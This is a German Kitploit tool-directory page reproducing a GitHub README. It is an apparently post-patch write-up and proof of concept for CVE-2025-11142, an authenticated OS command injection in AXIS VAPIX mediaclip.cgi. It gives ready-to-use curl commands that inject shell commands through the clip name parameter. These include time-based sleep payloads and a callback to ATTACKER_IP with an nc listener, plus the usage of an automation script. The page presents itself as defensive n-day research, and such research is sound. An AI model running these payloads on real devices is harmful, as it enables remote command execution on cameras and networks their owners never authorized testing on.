Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-11142-axis-mediaclip-rce — Proof-of-concept und technische Analyse für CVE-2025-11142, eine authentifizierte OS-Befehlsinjektion in AXIS VAPIX mediaclip.cgi, mit zeitbasierten und Out-of-Band-Verifikationsmethoden. | Kitploit
Tools/GitHubGitHub/kemrec/cve-2025-11142-axis-mediaclip-rce
IoT-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubkemrec/cve-2025-11142-axis-mediaclip-rce

cve-2025-11142-axis-mediaclip-rce

Proof-of-concept und technische Analyse für CVE-2025-11142, eine authentifizierte OS-Befehlsinjektion in AXIS VAPIX mediaclip.cgi, mit zeitbasierten und Out-of-Band-Verifikationsmethoden.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 12h 9mNoch nicht geprüft

CVE-2025-11142 — OS-Command-Injection in AXIS mediaclip.cgi

n-day-Forschungswriteup & PoC — technische Analyse nach dem Patch einer OS-Command-Injection-Schwachstelle (CVSS 7.1) in der AXIS-VAPIX-Media-Clip-API, unabhängig wiederentdeckt und durch Black-Box-Tests gegen ein Axis-Gerät verifiziert.

Das offizielle Advisory von Axis veröffentlicht keine technischen Ausnutzungsdetails oder einen öffentlichen PoC („Axis wird keine detaillierteren Informationen über die Schwachstelle bereitstellen“, „keine öffentlich bekannten Exploits“ zum Zeitpunkt der Veröffentlichung des Advisories). Dieses Repository dokumentiert eine unabhängig reproduzierte, evidenzbasierte Bestätigung, die erst nach allgemeiner Verfügbarkeit des Hersteller-Fixes (AXIS OS 12.7.36) veröffentlicht wurde. Siehe Offenlegungszeitplan.

Zusammenfassung

CVE-IDCVE-2025-11142
CWECWE-78 (OS-Command-Injection)
CVSS7.1 (Hoch)
BetroffenAXIS OS 12.6.54 – 12.7.35
Behoben inAXIS OS 12.7.36 (Active-Track)
Hersteller-Advisoryhttps://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-11142
Erforderliche BerechtigungenAuthentifizierter Operator/Admin (VAPIX-HTTP-Digest-Auth)
Hier verifizierte AuswirkungBeliebige OS-Befehlsausführung als Dienstkonto mit niedrigen Rechten (nicht root)

Schwachstelle

Der VAPIX-Endpunkt /axis-cgi/mediaclip.cgi akzeptiert eine action=update-Anfrage mit einem Freitext-name-Parameter (dem Anzeigenamen des Clips). Black-Box-Tests zeigen, dass dieser Wert unbereinigt an einen Shell-Aufruf auf dem Gerät übergeben wird — höchstwahrscheinlich als Teil eines internen Datei-Umbenennungs-/Verarbeitungsschritts für das Media-Clip-Subsystem.

Es gibt kein öffentliches technisches Writeup, das den genauen serverseitigen Codepfad beschreibt (Axis hat keines veröffentlicht), daher wird die untenstehende Ursache aus dem Black-Box-Verhalten abgeleitet, nicht aus einer Quellcode-Überprüfung.

Nachweis der Schwachstelle

Alle Anfragen verwenden HTTP-Digest-Authentifizierung (das Gerät lehnt Basic-Auth ab). Ersetzen Sie TARGET, USER und PASS durch die Werte Ihres eigenen Laborgeräts — verwenden Sie die Beispiel-Anmeldedaten nicht gegen ein Gerät, das Ihnen nicht gehört oder für das Sie nicht autorisiert sind.

1. Voraussetzung — sicherstellen, dass Clip-Slot 0 existiert

Die update-Aktion erfordert einen vorhandenen Clip. Wenn Clip 0 noch nicht existiert, laden Sie zuerst einen kleinen, harmlosen Platzhalter hoch:

root@kitploit:~
curl -s --digest -u "$USER:$PASS" --anyauth \
  -X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
  -F "[email protected];type=audio/wav"

Jede winzige gültige WAV-Datei funktioniert für poc.wav (ein minimaler RIFF/WAVE-Header ist ausreichend).

2. Zeitbasierte blinde Bestätigung

root@kitploit:~
# Basislinie / Kontrolle — keine injizierte Verzögerung
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
  "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;sleep 0;"

# injizierte 8-Sekunden-Verzögerung
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
  "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;sleep 8;"

Eine Antwortzeit, die der injizierten sleep-Dauer folgt (anstatt der ~0,3s-Basislinie), bestätigt, dass die Shell den vollständigen name-Wert ausführt und ihn nicht nur als träge Zeichenkette behandelt. Dies wurde mit mehreren, unabhängig skalierten Verzögerungen (0s / 3s / 6s / 8s) und mehreren Injektionssyntaxen (;, &&, Backticks, $(...)) verifiziert, um Zufall auszuschließen.

3. Out-of-Band-Netzwerk-Callback (stärkster Beweis)

Da der HTTP-Antworttext niemals Befehlsausgabe zurückgibt (OK / Updating=0 unabhängig von der Nutzlast), ist die überzeugendste Bestätigung die Nutzung der eigenen ausgehenden Netzwerkfähigkeit des Geräts. Starten Sie einen Listener auf einem Angreifer-kontrollierten Host und lassen Sie den injizierten Befehl dorthin zurückrufen:

root@kitploit:~
# auf dem Angreifer-Host:
nc -lvnp 4444

# injizierte Nutzlast:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"

Eine echte eingehende HTTP-Anfrage von der IP-Adresse des Zielgeräts, die die curl-User-Agent-Zeichenkette enthält, ist ein eindeutiger Beweis für Remote-Code-Ausführung — die Anfrage kann nur von einem Befehl stammen, der tatsächlich auf dem Gerät ausgeführt wurde.

4. Bereinigung

root@kitploit:~
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"

poc.py

Siehe poc.py für ein eigenständiges Skript, das die Schritte 1–4 gegen ein Ziel automatisiert, das Sie auf der Befehlszeile angeben.

root@kitploit:~
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]

Auswirkung

  • Bestätigt: Beliebige Befehlsausführung als Nicht-Root-Dienstkonto nach authentifiziertem Zugriff.
  • Nicht bestätigt (außerhalb des Rahmens dieser Forschung): Lokale Rechteausweitung vom Dienstkonto auf root. Es wurden keine SUID-Binärdateien oder weitere Eskalationspfade über passive Enumeration hinaus verfolgt.
  • Realistische Risikofaktoren, die diesen Befund in freier Wildbahn verstärken: Axis-Geräte werden häufig mit Standard- oder schwachen Admin-Anmeldedaten eingesetzt, und die gesamte clientseitige SPA (die die vollständige VAPIX-API-Oberfläche einschließlich dieses Endpunkts abbildet) wird ohne Authentifizierung ausgeliefert, wodurch der anfällige Endpunkt trivial auffindbar ist.

Offenlegungszeitplan

  • CVE-2025-11142 wurde öffentlich zugewiesen und das Hersteller-Advisory von Axis veröffentlicht (Datum gemäß NVD/Hersteller-Datensatz — siehe Links oben).
  • Der Hersteller-Fix war in AXIS OS 12.7.36 (Active-Track) vor der Veröffentlichung dieses Repositories verfügbar.
  • Dieses Repository wurde als n-day- (Post-Patch-) Forschungswriteup veröffentlicht, das das Verhalten der Schwachstelle für defensive/Erkennungszwecke unabhängig reproduziert und dokumentiert, sobald ein Fix allgemein verfügbar war. Es werden hier keine 0-Day-Details über das hinaus offengelegt, was die CVE-Zuweisung bereits offenlegt (CWE-78-Befehlsinjektion in mediaclip.cgi), die Axis nicht bereits bestätigt hat.

Verantwortungsvolle Nutzung

Dieser Code wird nur für autorisierte Sicherheitstests, Sicherheitsforschung und defensive Zwecke bereitgestellt (z. B. zur Überprüfung, ob Ihre eigene Flotte gepatcht ist, oder zur Erstellung von Erkennungssignaturen). Verwenden Sie ihn nicht gegen Geräte, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der/die Autor(en) übernehmen keine Haftung für Missbrauch.

Lizenz

MIT — siehe LICENSE.

Tool herunterladen